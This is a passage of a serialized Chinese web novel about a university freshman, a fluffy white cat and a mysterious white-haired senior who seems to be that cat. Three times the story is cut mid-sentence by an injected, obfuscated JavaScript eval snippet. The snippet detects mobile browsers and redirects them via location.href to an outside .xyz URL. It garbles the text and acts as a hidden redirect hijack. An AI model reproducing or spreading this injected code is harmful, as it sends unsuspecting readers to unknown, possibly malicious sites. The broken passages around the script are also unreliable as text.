《猫猫学长》 1. 猫出没 虞江临自认为猫缘不错。 可自从入学,方圆百里的猫咪却是眼见越发稀疏。常常远处瞧见一只,没走多近那猫便飞快跑掉,无影无踪。 这天晚上七点觅食而归,他踩着夜色路灯下的影子,刚转过拐角要走入宿舍楼,却缓缓放慢脚步。 “喵?”他小心翼翼蹲下,轻声朝花坛那处学猫叫了一声。 花坛里最高的那株粉花颤了颤,又静止不动。 于是虞江临屏住呼吸,把声音放得更软,重新又喵了几下。 “咪。” 花坛里也回应出一声猫叫,比人类的声音更轻飘,听起来像是只幼猫。幼猫叫得虞江临心颤,他眼睛蓦地亮起。 这回,终于有一颗毛茸脑袋从花丛里钻出。 纯白的,长毛的,软乎的,像一颗奶油团子——还是点缀着两颗蓝色糖果圆眼睛的小团子。 虞江临望着那双海蓝色的眼睛,也笑弯起自己的眼,自言自语道:“真是一只可爱的小猫咪。” 那白毛小猫仿佛听懂了,爪子一顿,才又若无其事缓缓踏着矜持步伐继续走来。 它把身子紧贴上虞江临的小腿与大腿,边用脑袋蹭边围着人类从前往后转了一圈,交换彼此的气味。 最后小猫站定在虞江临膝盖前,圆溜溜的眼睛水润带光,抬起脑袋往上瞧,似乎在等着什么。 虞江临自然很是配合地伸出手,先是摸了摸那颗圆乎乎的脑袋,才又顺着往下继续撸过去。 被人类服侍得极好的小猫咪眯起眼睛,蓬松大尾巴缓缓扫过来,尾尖似有似无掠过虞江临光洁的手腕。 虞江临微微抖了抖,他有些怕痒。 但念及这是小猫咪的尾巴,终究没有躲开。 “你不像是流浪猫。” “咪。”绵软大尾巴停在了虞江临手腕内侧,一瞬间静止。 “不过这里的猫咪似乎都被照顾得很好。” “咪。”尾巴重新轻晃起来。 “想要吃点东西吗?” “咪。”猫咪蹭了蹭人类掌心。 虞江临又笑了,他发觉这只小猫很喜欢撒娇回应,哪怕对方根本听不懂自己在说什么。 宿舍旁超市里便有贩卖猫咪零食,他嘱咐小猫在原地等着,便一步三回头地向超市走去。 小猫咪起初跟了一两步,虞江临立即做摆手状:“你的腿太短啦,我跑起来你会跟不上的。” “……”这回,小猫没有咪咪叫。 见猫咪蹲下不动了,虞江临加紧脚步,很快便买好零食往回走。 兴许这零食确实很香,路上拆开时,便有一团橘色东西从草丛里窜出,眼巴巴朝他张望。 这又是一只猫。 肥美的身子,圆圆的脑袋与圆圆的眼,最重要的是那足以彰显饭量的橘黄色皮毛……无论从哪个角度看,这都是一辆身形符合刻板印象的大橘。 虞江临笑着蹲下来,将装有小零食的塑料袋放在腿边,似是与猫说话又像是自言自语:“你找我有什么事呀?你也想吃小零食吗?不过我已经说好了给另一个小家伙吃,如果你想要的话……” 说着他环顾周围半圈,视野中除大橘之外再无别的猫。 但直觉告诉他,那些屋顶与树后,那些小巷子与花坛里,都悄悄藏着某些视线。 这所校园的猫咪不爱出现在他面前,但似乎很喜欢悄悄玩着躲猫猫的小游戏。虞江临喜欢猫,自然不介意被猫猫们跟踪。如果可以,他甚至还想要挨个撸过它们的毛。 眼前的大橘乖乖蹲坐在他身前,眼睛一眨不眨盯着他看,这故作严肃的小模样仿佛在思考什么深沉的事情。 真有意思。虞江临笑着伸出手,准备用自己私下里练了许多年的撸猫手艺伺候猫大爷,怎料对方耳朵忽然抖动,紧接着便是受惊一般浑身炸毛。 虞江临:……? “我……” 虞江临话还没说完,那橘猫却猛地原地一弹。 对方朝灌木丛某个方向瞪了眼,仿佛是遇见了什么天敌,随后便撒爪就跑,钻入另一边草丛,无影无踪。 几乎同一时刻,那些躲在暗处的“小视线们”也随之消失了。 虞江临稍有些怀疑人生。 ……他有这么可怕吗? 正待这时,一声熟悉的“咪”叫从脚边传来。 虞江临低头,发现那小白猫不知何时已从宿舍院子里出来,小小一只,绕在自己脚边,大概也是闻到了零食的气味。 昏黄路灯下,小猫干净纯粹的眼睛里仿佛真有海水流动,漂亮得惊人。 虞江临看得出神,连带着方才那点失落一扫而空。 在其他猫咪爱睬不理的对比下,小白猫更显可爱乖巧了。 他蹲下,从包装袋里倒出几块鱼形状的小零食到地上,等着小猫进食。 小猫却没有吃,只是伸出一只前爪碰了碰,圆圆的脑袋低下去轻嗅,随后抬头朝虞江临委屈地咪叫一声。 虞江临很难解释清楚,他是如何从猫叫中听出委屈情绪的。 可眼前的小猫看起来要多不开心有多不开心,还是那种湿哒哒的、自己生闷气要别人哄的小可怜劲。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703509|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没人知道他是如何从巴掌大的猫脸上,品出这么丰富的色彩。 虞江临眨眨眼睛,心有所感猜测到什么,从袋子里重新又倒出几颗零食,放到掌心里,手平摊开悬在小猫脚旁。 这回,猫咪终于愿意吃了,低下头舔了舔。 “你还真是又爱撒娇又娇气……等等,有点痒。” 猫舌头湿漉漉的,小猫舔得又轻又慢,羽毛似的,仿佛在他心尖挠痒。虞江临眼皮一跳,没忍住从鼻腔里溢出几声气音,手心下意识微微后缩。 刚舔上的食物没了,小猫又抬起一张小脸,朝虞江临咪了一声,眼神要多无辜有多无辜。 虞江临垂着眼睫,犹豫了一会儿,还是抿嘴把手又伸过去。 猫咪没有第一时间去吃,只是睁着一双大眼睛望着人类,恬静乖巧,仿佛在细细观赏对方脸上的神情。 随后,它低下头,又是那种折腾人的舔舐吃法。 虞江临睫毛颤了又颤。 小白猫蓬松的大尾巴则不紧不慢晃动,看起来心情不错。 等逐渐适应这令人难耐的触动,虞江临开始调整紊乱的呼吸,努力让自己忽视手心的触感。 他试图将注意力转移至别的地方:比如小猫可可爱爱的耳朵尖尖,圆圆呼呼的脑袋瓜瓜,毛茸温暖的大尾巴,以及…… 虞江临的目光忽然凝固在某个位置。 那里,蓬松无比的大尾巴正好心情地慢慢晃悠,对即将发生的事情毫无察觉。 虞江临感到有些手痒——这句话此刻被赋予了双重意味。 当人类摊开一只掌心乖乖喂食,他便用另一只空着的、罪恶的手轻轻捏住那缓缓晃动的毛绒硕大尾巴尖……向上微微一提。 小猫愣住了。 虞江临也愣住了。 虞江临含笑眨眨眼睛:“是小公猫呀。” 话音刚落,小猫整个团子便“嘭”地弹开,眼前爪子都仿佛不怎么会用的小猫咪,成功用一通连招将自己绊倒。 最开始小脸上还满是震惊与呆滞,到后来一双圆溜溜的眼睛左看右看就是不看眼前的人类,不知是羞的还是恼的。 虞江临刚想伸手将摔倒的小猫扶起,就见小团子蹭蹭蹭溜得飞快。 他无论如何也想不到,那四个短短的小爪子能跑出这般气势。 他可可爱爱的小猫咪,便这般像个小火车一样哐当哐当开跑了。 等到眼前连个猫毛都不见,虞江临才低下头,他看着掌心间湿漉漉、没吃完的小零食,就着这个姿势蹲了许久没动。 他好像……让小猫咪生气了。 2. 学长 第二晚,小猫并未如约而至——虽然他们之间并没有什么约定。 虞江临坐在书桌前,砖块般的大部头专业书摊开。他盯着密密麻麻的字,眼前小白猫的影子却挥之不去。 睡前洗完澡,去公共区域吹头发,却见到房间里空无一人。 虞江临站定在门框下,他有某种不好的预感。 慢慢走过去,打开墙上挂着的吹风机,屏幕里果然显示维护中。 不好的预感成真了。 虞江临便默默翻出手机,将因嫌吵闹而拖入消息屏蔽的宿舍楼群点开:3个小时前有人提醒,每层的吹风机系统都陷入故障。 此时已十一点,宿舍楼门禁时间为零点。 虞江临抬起头,望着镜子前半湿中长发悬至肩头的自己,陷入沉思。 时值八月末,夜晚路上风凉,虞江临打了个喷嚏。 该多披件外套的。他想。 头发先前已细心擦干,不再滴水,此刻被风一吹却冷得发寒。不知是否为心里错觉,连脑袋都似乎有些酸胀。 明天是开学典礼,他将上台发言,感冒发烧并不好笑。 虞江临摸了摸冰凉的鼻尖,加快脚步朝目的地走去。 出发前他已打探清楚,今晚这片宿舍区的吹风系统均统是全面瘫痪,想要借用只能走很远,到另一片宿舍区。 终于抵达陌生宿舍楼,院子外有人脸识别系统。 虞江临准备等学生经过时,说明情况一同进入。 他抱着手臂,一动不动立在门旁。等到时间一点点过去,门口却还是空无人影。 闲来无事,他竟开始打量起周围的环境。 眼前不知见证了多少岁月的树皮,身旁交错形成杂乱美感的青草尖,脚下被细细打理光洁的路面,远处高高挑起的建筑群轮廓。 一切都是那么平凡,虞江临却端详得很认真。仿佛一个初次睁眼看世界的盲者,好奇而珍惜地欣赏着周围一切。 就在虞江临开始瞧地上的石子儿,又打了今晚第六个喷嚏时,终于有人影从远处走来,牵引走他的视线。 夜色下,虞江临看不太清,只见到对方停在自助售货机前,似乎正在挑选商品。 “同学……”虞江临发现自己已有了闷闷的鼻音。 坏了,似乎真要感冒。 那人影似乎才发现院子外有人,抬脚往这边走来。 “同学你好,我们宿舍楼的吹风机坏了,不能用。我想借用你们这边的吹风机,可以帮我开一下门吗?真的非常感谢。”虞江临说着又打了个喷嚏。 还没等将学生卡翻出来自证,滴滴一声门锁系统便解开了。感应光随之自上而下从门上投下,昏黄而狭窄,恰好照出来者的脸庞。 那是一张戴着黑色口罩的脸,令人捉摸不透情绪。裸露出的少许肌肤仿佛同样染上了夜晚的寒意,苍白,冷淡。 虞江临没来由地下意识错开对视的眼,他自己也没察觉。 视线下移,只见对方一头半湿的白色短发贴垂在脸颊旁,发梢甚至还滴着水。再往下一身素色棉睡衣,柔软面料稍微削减了些距离感,应当也是洗完澡不久。 ……白色的头发?好少见。 虞江临很快回过神来,又道了声谢,便小跑着往宿舍跑去。 身后人影慢吞吞将院子门关上,站在原地望着虞江临的背影,直至对方消失不见,才抬脚往回走。 ——没有买售货机的任何东西。 . 虞江临在公共区域匆匆吹完头发。 此刻距离零点还有十五分钟,很是紧迫。 刚放回吹风机,转头却看见方才的好心人就靠着门框,低头划手机,仍未摘下口罩。 他注意到对方换了身日常衣服,手臂间搭了件外套……这个时间,还要出门吗? 好心人似乎注意到他的视线,抬起头望过来一眼,随后将手机放回口袋里,朝这边走来。 虞江临往旁边让了让,却发现对方在自己面前停下。 “快要到门禁时间了,我骑车送你回去。”没等虞江临反应,这人又接着说,“车上风大,可以披件外套。” 说罢,将外套塞入虞江临怀中。 仿佛是看出了某张脸上的犹豫,好心人再度开口,声音冷而平静:“我车速很快,但如果继续站在这里闲聊,我今晚就会被门禁拦在外面了。” 接着便转身朝外走,没给人拒绝机会。 虞江临原地抱着衣服,慢了几拍才抬脚跟了上去。 他低头回想着方才在灯光下才终于看清的模样。 雪白碎发垂在耳尖,海蓝色的双眼略显疏离,这个搭配…… 【是不是在哪里见过?】 . 陡一走至室外,风刮过脸颊,冷硬带刺,瞬间戳破室内将人包裹的柔软气息。 依托于身上干爽温暖的外套,这回虞江临觉得好受多了。 按理来说,这是虞江临第一次穿别人的衣服,有些宽大。 手掌被袖口没过,即便努力伸直手臂,也只留下一小截指尖在外面。 他默默抬头关注着两人的身高差,随即注意到对方头发未干。如果不是为了送他,这会儿好心人应当已吹完头发上床睡觉。 虞江临感到心尖上染了点异样的情绪。 他仔细思索一番,觉得自己大抵是心疼了。哦,心疼。 【你过去并不常产生这种情感。】 他压下这阵念头,只是问:“你的头发还是湿的,会不会不好受?” 好心人似乎没料到他会这么问,弯腰开车锁的动作顿了下,随即背对着淡淡道:“骑车一来一回也就干了。” 虞江临又想说些什么,却有另一道声音将其打断。 “那边那个!不能带女朋友进男生宿舍,不知道吗?总有些人觉得要毕业了就开始放肆起来……”雄厚声音从身后传来,带着隐隐怒气。 原来好心人是即将毕业的学长——但这不是重点。 虞江临望着不远处推着垃圾小推车快步走来的老伯,自己整个人则仍笔直从容地站在原地,一点儿都不像是被捉个正着的“小情侣”。 此情此景,“女朋友”一词只可能是指他。 ……哦。 虞江临只是很慢很慢地眨了两下眼皮,似乎在努力消化这份从未有过的尴尬境地。或许于他而言,比起尴尬,说是茫然更为恰当。 【茫然。这种常见而普通的小情绪,在久远的过去同样很少出现于你的心底。】 身旁人倒是比他先一步答话:“他是我的学弟,我正要送他回宿舍……嗯,‘学弟’。” 虞江临又眨了眨眼,他觉得自己好像听出来这话中的揶揄意思。 然而侧头朝上看去,那张冷冷淡淡的脸却仍是面无表情。仔细一想,方才的声音也是一本正经,没有丝毫笑意。 ……他大约是多心了。 “男同学?”老伯放下推车,仍是怀疑地走近仔细瞧。 虞江临很快意识到,是自己的头发和身形产生了误会。 他便从口袋里取出方才没用上的学生卡,将有身份信息的那一面递出:“您看,这是我的照片,这是性别。” 老伯在路灯下辨认了一会儿,才终于相信眼前面容精致、声音软和、乌黑秀发甚至几乎垂到肩头的学生,竟是个男孩。 “男同学也不要在外面呆这么晚,这年头不止女生会遇到危险,宿舍门也快要关了。”老伯语重心长着,得到了虞江临的保证,才推着小推车往回走。 这通乌龙过后,虞江临心底里仍残存着某种异样的情绪,有些滚烫。他不太能分辨得清。 他便这么低垂着眼转身,见到那位好心学长已坐上自行车,一只脚撑在地上,正侧头盯着他。 “上车。”学长简洁指示。 . 这是虞江临第一次坐别人的自行车后座——也就是说,他根本不懂得手该放在哪里。 车起步,虞江临才意识到这个问题。 他双手下意识虚虚悬在面前唯一的支撑物上,却没有真正搭上去,只用腰与腿间力量支撑。 自行车,似乎是一种极为不舒适的载具。虞江临默默想。 “手搭在我腰上。”车没走几步,学长忽然说。 有了对方提醒,虞江临才试着捏起对方腰间两侧的一点衣角。仿佛再多抓一点,这衣服就会碎了一样。 学长说得没错,车速很快。风从前往后刺,虞江临庆幸自己有了一件厚实的外套。 他发觉学长看着虽然有些高冷,实际上却相当贴心且热心。 如果今晚不是碰巧遇到对方,他恐怕就要白白在外面吹几十分钟冷风,然后顶着一头又冰又湿的头发回去,迎接彻夜未眠与感冒头疼。 想到这里,虞江临又打了声喷嚏。 他提前捂好了嘴,并迅速将头扭至一边。等打完喷嚏,抽抽鼻子,虞江临将手心在自己裤腿上擦了又擦,才继续捏着对方衣角。 “感冒?” “好像是……我的体质一直很差,习惯了。”虞江临发觉自己鼻音愈加明显,简直像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703510|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是早晨没睡醒。 是的,没错,在很长一段时间里,他的身体都保持着极为脆弱的状态,那是因为…… 【因为什么?】 虞江临竟发觉自己一时间回忆不起来许多东西,也许是风真把脑子吹坏了。 “……”车前座的人没接话,虞江临并未注意。 这份沉默持续了一会儿,前方才又传来声音:“前面是下坡,你可以再扶稳一点。” 于是虞江临又多捏了一点衣角。 他很快被自己害苦。 步行时看着不算陡峭的小坡,坐在车上却是迅速朝下倾斜。 虞江临稍稍睁大眼睛,没料到自己整个人直接向前倾倒,来不及反应便陷入面前人柔软的后背。 湿漉漉的凉意沁上眼尾,鼻尖涌入淡淡清香。 他闭着眼,意识到自己蹭上了身前人未干的发梢。这股香味或许是便是沐浴剂的味道。 他面前能支撑的东西自然没有别的,因而虞江临终于真正触碰上了对方的身体。 在下坡中,为了不狼狈贴到对方身上,他把学长的后腰搭得很实。 ——这是一个极为标准的拥抱。 在虞江临本能的认知里,这种亲密接触还是太不得体了。 他很是歉意,等下坡结束就要往后松手:“抱歉,我没控制住身体。” “没关系,后座的人本就需要环住前面人的腰,你应当抱得更紧一点。”学长又一次好心提醒道。 虞江临自然不做怀疑,听话地乖乖抱了回去。 原来这才是自行车的正确乘坐方式,确实比刚才舒服多了。他暗暗感慨。 “到了。”兜了不知多久,学长忽然停住车。 虞江临环视一周,后知后觉意识到旁边大概就是他的宿舍楼。才入住没几日,自己还不够熟悉也是应当的。虞江临不觉奇怪。 【你刚才有告诉他……你的住址吗?】 虞江临下车,某个怀疑的念头自然而然于心底升起。 然而当他与学长那双平静深邃的眼眸对视,“某个念头”便自然消失了,仿佛一开始就不曾存在。 他再度乖乖道了谢,脱下外套并问:“这个是放在……?” “我穿在身上就行。”学长说着接过衣服,随手往自己身上一套。 虞江临望着对方低头整理衣角的样子,目光锁定在某头雪白短发之上,莫名觉得那里空荡,仿佛少了点什么。 在对方抬头前,虞江临便很快移开视线。 “对了。”临走前,学长像是忽然想起什么。 “怎么……” 虞江临的话语在屏息中止住,身前人忽地靠近,伸出手来探向他的脸。 他缓缓睁大眼睛,不再眨动,感受着对方指尖轻触,似有似无的暖流从对方指腹染上他裸露在外的肌肤。 细腻的触感从下巴绕至脸侧,又一点点滑至耳后。 在他所看不见的角度,对方有力的手指正轻轻摁压于自己的后颈,逐渐加重,停了好一会儿。 这显然不是一个寻常的动作,容易产生某些错觉。好似被恋人轻柔地捧住脸颊,又被勾住敏感的后颈,即将被带到对方臂弯中,呼吸间全是对方暧昧的吐息。 虞江临整个人都被定在原地。 “有片树叶。”学长如此说着收回了手,眼中仍是没什么情绪。 “……谢谢您。” 随着肌肤相抵的烫人温度离去,那阵今晚一直黏在身上的、湿漉而阴森的冷意,也一并消散。 等目送学长的背影消失,虞江临走了几步,却又停下。他自己都说不清为什么,朝后低头看去。 那里没有拂下的叶子。 也许是被学长拿走了,又也许是刚被风吹走。 虞江临挑了挑眉。 . 吱—— 返程路上,白发的学生突兀停下自行车,修长的腿单脚踩在地上。 “哦,吹风机坏了……”他自言自语低语了这么一句话,随后又原路骑回。 铁门紧闭,一辆自行车停靠在院子前的灌木丛旁。 一只白得发光的小猫咪从灌木丛中钻出,它迈着哒哒的小步伐钻入铁栅栏,轻车熟路往宿舍楼走。 几分钟后,小猫咪离开宿舍楼。 十几分钟后,被虞江临屏蔽的宿舍楼群里终于有人发现并报喜:吹风机可以用了。 此刻早已过了门禁时间。 当小白猫迈入漆黑夜色中,远处阴影似乎传来某种尖锐的嘶鸣,又像是野兽的嬉笑。 3. 开学典礼 今天便是开学典礼了。 作为新生代表,虞江临起得很早。 他轻手轻脚做好洗漱,没有吵醒室友,便带上门下楼,预备前往大堂与其他人汇合,为今天的典礼做最后彩排准备。 下楼时,虞江临轻快的脚步慢慢停下。 他想起昨晚的事来,却发现自己此刻整个人精神都极好,一点不像感冒的样子。 或许自己的身体素质变好了。他想。 一楼楼道内有面全身镜,虞江临路过时停下脚步,在镜子前端详衣着。一切整齐,没有任何不妥。 他看着镜子里精神饱满的自己,一时间竟感到一阵恍惚,觉得镜中人有些陌生。 虞江临捏起脸侧最长一缕发梢,绕在指尖,想起这几日走在路上,时不时被误认为女孩。 微长黑发垂在肩头,对男生而言确实不算短。 奇怪,从前他也会被误认作女孩吗? 【你觉得呢?】 他将脸旁两侧头发拨至耳后,想了想又用一只手将长发握起,歪着脑袋对镜想象自己短发的样子。 想着想着,脚步不禁后移,试图在窄窄的镜子里更方便看到全身。 就在后背靠上楼梯扶手的刹那,耳背陷入一团绵软,痒意如触电般钻入头皮,蔓延至脚尖。 虞江临惊得浑身一颤,猛地转身后退。 那一瞬间,他琥珀色的眼瞳中流露出一丝自己都未察觉的凛然杀意。 “咪。” 软而轻飘的熟悉叫声从面前传来,虞江临这才发现那团一日不见的猫咪竟然一直蹲坐在栏杆上,也不知道看了多久。 方才他的脑袋就是恰好靠在了猫咪身上。 悬起的心脏缓缓放下,虞江临有些无奈:“你差点吓死我了。” 小猫蹲在高高的栏杆上,清澈蓝眼睛平视着面前的人类,毛绒大尾巴有一搭没一搭悬在空中轻晃,一点心虚也没有,似乎并未听懂。 虞江临却眼尖发觉对方神态有些蔫,没有前几日有活力。 “小朋友,你是不舒服吗?”虞江临担忧地伸出手,摸过对方软软的皮毛。 不知是听到了什么关键词,小小的猫耳朵尖尖抖了抖,整只小猫脑袋都埋下去,害羞似的。 好一会儿,这颗毛茸茸的脑袋才在人类的抚摸下重新抬起。 它若即若离蹭着人类的指尖,眼睛时不时往虞江临脸上瞧,像是在小心观察人类的神色。 虞江临同样也在观察对方,他确认小猫没有异样,才放下心来,手掌也逐渐下移。 在温热绵软的触感中,很快就要摸上那条蓬松的大尾巴。 就在此刻,小猫忽然站起,慢吞吞沿着扶手向上走了几步,才又蹲下,一双圆眼睛与人类对视。 这个高度,虞江临伸手不方便触及。 他便往台阶上也走了几步,以为是小猫呆腻了原来的位置。 刚走完两步站定,却见那猫又站起来,迈着短短的腿往上也多走了几步。而后,一张小脸居高临下又很是无辜地望着他。 一人一猫对视几秒,虞江临思索片刻,终于想起什么,不太确信地问:“……你害怕我又抓你的尾巴,看你的蛋蛋?” 优雅蹲坐的猫咪微不可查顿了一瞬,那双小蓝眼猛地将虞江临盯住,却只能看见对方眼底的清澈与坦然。 于是它扭过头去,若无其事伸出爪子轻舔。 虞江临望着小猫自娱自乐的样子,有些拿不准自己的猜测。 他只软声软气哄道:“我现在有些事情要做,得离开了。晚上回来如果你还在这里,我再陪你玩,好不好?” 猫咪自然是听不懂人类在说什么的,猫咪只是自由地舔着爪子。 虞江临勾起嘴角笑笑,他挥挥手,说了句道别,才匆匆走出宿舍楼。 当人类的身影消失,小猫才终于将方才忍下的喷嚏打出。 红得发黑的血随之从嘴里咳出,晕染胸前一大片。 . 大堂内人不多,虞江临到得算早。 彩排未开始,闲来无事,他便去帮忙布置道具,踩着爬梯上上下下。 稍后一名学姐匆匆赶来,大包小包拎着许多东西,手里还打着电话,应当是负责人。瞧见站在梯子上整理横幅的生面孔,她有些惊讶。 “这位是……” “是今年的新生代表,主动帮忙来布置东西的。”旁边蹲在小板凳后面扎气球的学生解释道。 “原来是学妹。真的太辛苦你了,这些事情本来该是我们做的。来,喝点水休息,剩下的我们来就好。”学姐边感激着说,边一手拿出瓶矿泉水,另一手从包里翻找着什么。 “你流了好多汗,这距离典礼开始还早着呢。大堂空调也坏了,修理师傅在赶来的路上……我这里有头绳,可以把头发扎起来。” “谢谢您。”虞江临浅笑着接过水,又平静指出,“不过我是学弟,不是学妹。” “啊?公的?”学姐刚翻找出头绳递出去,闻言一愣,脑子没转过来,“那这能用吗?” “能用的,谢谢学姐。”虞江临再度道过谢,面上神色仍无异样。 ——他刚才是不是听见对方用了“公”这个字眼? 喝了几口水,虞江临独自朝大堂洗手间走去,打算对着镜子慢慢琢磨扎头发一事,顺带将脸上的汗水洗下。 刚打湿指根,便听见右后方传来一阵呜呜声,怪渗人。 虞江临屏住呼吸,默不作声关上了水流,才抬起脚步,谨慎往声源走去。 大堂洗手间挺大,七拐八拐,才瞧见是窗户开着了,风声怪叫。 也不知道是谁竟然将角落的窗户开出一道缝,足有两个拳头大小。 虞江临好好将窗户关紧,再走回洗手台时却是一愣。 就方才关窗户的时间里,没人的洗手台前便多了个身影。对方背对着自己,低头慢条斯理洗着手。 虞江临没多看,只站到旁边位子去,低头用手捧了点水往脸上泼,再拿手帕擦干。他轻轻呼出一口气,几十分钟的热汗终于被冰凉缓解。 等睁开眼睛,却是发现那根发绳不知何时已从台子上掉到水池里,或许是刚才被他自己的衣袖推下去的。 虞江临第一时间将其捞起来,发绳却已全湿。 他有些苦恼地盯着掌心间的东西瞧。 “我这里有干净的,你需要吗?” 熟悉的好听声音适时从近处忽然传来,多了点闷闷的鼻音。 虞江临抬起头,发现旁边那人竟然还没走,这会儿垂眸没什么表情地望着自己。 ——是昨晚的学长。 今天对方仍戴着那面黑色口罩,外套领口系到了最上面一颗扣子,大半张脸陷在宽大兜帽里。整个人捂得严严实实,只露出一双标志性的蓝眼,难怪他刚才没认出。 “什么?”他下意识问,没反应过来。 于是虞江临见到学长从口袋里拿出样东西摊开在掌心,递了过来。 是根黑色的手工绳环,像是手链又像是头绳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703511|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虞江临的注意力被绳子上一颗猫咪挂坠吸引,白色的,圆乎乎的,还有条大尾巴,和他宿舍楼下那只小猫很像。 等虞江临抬起视线接过头绳道谢,对方仍是那种神色倦怠的样子,转身便头也不回地径直离开,只留下句:“送给你了,平常可以当做手链。” 虞江临望着对方离去的方向发呆,好一会儿才收回视线。 他略有些生疏地在后颈扎起一个低垂的小揪,小白猫挂坠正好窝在小揪中间睡着。 虞江临喜欢极了,对着镜子看了又看。 想起方才学长浓重的鼻音以及口罩,笑意却渐渐消失。 他该不会是……把学长传染了吧? . 典礼快开始时,虞江临将猫咪发绳拆回到手腕上戴,整整齐齐把长发理顺,才将另外一根半干的发绳还给那位好心学姐。 他道歉说:“不好意思,我在洗手间里时不小心把它打湿了。” “没事儿,一块钱能买一大把,我包里一堆呢。”学姐很是爽快地表示不在意,目光落在虞江临手腕,竟下意识往后退了两步,难掩惊讶。 虞江临眨眨眼睛,他顺着学姐的目光看向自己的手腕。 ——于是又被这白白的小猫咪可爱到了。 他抬起眼,目露困惑,像是不理解有人会被这可爱的手链吓到。 学姐显然也发觉自己失态,好一会儿才憋出一句:“……哎呀,好可爱的手链。” “我也很喜欢,是别人送的。”虞江临笑眯眯说道,又后知后觉注意到大堂凉快了许多,“空调已经修好了吗?” “修好啦。哦,等一下,我接个电话……哈?二楼空调也是坏的?那赶紧让戚缘把那里也修一下……什么?他已经走了?他是赶着回去睡觉还是晒太阳啊?这典礼都还没开始……啊?感冒了?!” 虞江临在旁边站着,学姐的声音一句句传入耳中,他心中满是感慨。 ——校内的各个设施似乎年久失修,坏掉的可真多。 ——最近感冒的人也好多。 . 九点整,典礼正式开始。 作为新生代表,虞江临迎着众人注目,一步步走上台阶。 方才还嘈杂的场下,这会儿一片肃静。 大堂内临时摆好了一张张木靠椅,新生们难得穿上统一黑色制服,整整齐齐码在一起。 至于角落里,窗沿上,帷幕下,则不知何时落满了一只只毛色不一的猫。仿佛整座校园的猫咪都聚集于此,旁听人类的典礼。 它们也很是安静地蹲坐着,没有谁趴得不成体统。 虞江临站在演讲台前。 他今天同样穿着一身制式校服,简单的白衬衣套烟灰羊毛衫,黑西装内打着午夜蓝色的笔挺领带,显得干练而优雅。 黑发的学生身形正处于少年与青年之间,裁剪得当的制服很好地衬托了腰身。纤细修长,但绝对算不上高大,周身气质却莫名给人威严之意。 也许是因为那双琥珀色的瞳眸实在太过透亮,不同寻常。被这样一双眼睛注视,仿佛灵魂正经受审视,不敢有丝毫轻慢。 虞江临轻轻扫过台下众人,他缓缓开口,念起预先准备的讲稿:“我衷心希望,在座每一位在接下来相处的日子里,都能度过一段宁静的时光……” 清亮的嗓音回荡在礼堂内。 堂外屋顶上,一只白毛小猫利落爬上去,探出脑袋。那里没有什么别的事物,只余下一支带血的斑驳鸟羽,应当是匆匆落下的。 4. 探病 开学典礼结束后,虞江临又主动帮着收拾起会场。 反正闲来无事,没成想这一帮就帮到了晚上。一群人又张罗着聚餐,把他也一并招待去。 “今天我请客,感谢大家忙活了一天。” 那位学姐——虞江临已经知道对方名叫棠梨——看着很有大姐头气派,又把果汁杯敬向虞江临。 “尤其是这位学弟。今天多亏了你,补上了戚缘不在的空缺,要不然我们现在可没法吃上饭。” 她自然认为虞江临认识戚缘——编着那小子猫毛的手链还戴在对方手腕上呢。 虞江临自然是知道戚缘的——就是学姐今天口中那位负责修理空调却又因病早退的师傅。 二人两相对视,一切尽在不言之中。 正当此刻,小包厢内的纸门唰地拉开,一名黄毛年轻人笑嘻嘻走进来,却是面色一变,皱起眉头。 “怎么这房间里一股令人讨厌的味道,那家伙不是说感冒不来吗?” 等黄毛青年转头瞥见包厢里的生面孔,刚重新扬起热情笑脸,视线却停在了对方手腕上那抹刺眼的白猫黑绳手链上。 他整张脸同样喷涌起震惊,这些情绪与方才没消下的笑容一起,混合成一种诡异的表情。 棠梨满意微笑,看见受到惊吓的不止她一个,自然是极为舒畅的。 整个饭局内,虞江临都不得不注意到,桌上有两人始终嘀嘀咕咕互相挤眉弄眼。 一个是棠梨学姐,另一个则是方才来晚了的黄毛学长。 虞江临已经知道了对方名叫谢金。 ——是情侣?不太像……看互动倒更像是姐弟。 “啊,我想起来了。你是那天晚上那个拿着一大袋零食……”谢金忽然抬起头来,话说到一半却硬生生憋回去,颇为突兀地埋头继续干饭。 虞江临却是念头一动忽然想起什么,他猛地转头看向墙面上的钟表,整颗心凉下去。 “不好意思,我刚想起来和……别人有约。我想我得先走了。” 他自然不能说和一只猫咪有约。 其实这话倒也没错。比如棠梨和谢金两人在听到这话后,同一时刻转头看向彼此,在对方目光中看到了肯定眼神。 他们当然猜到虞江临究竟与谁有约——并误打误撞猜对了。 谢金又挂起一副笑嘻嘻模样,望着虞江临开口就道:“弟妹……” 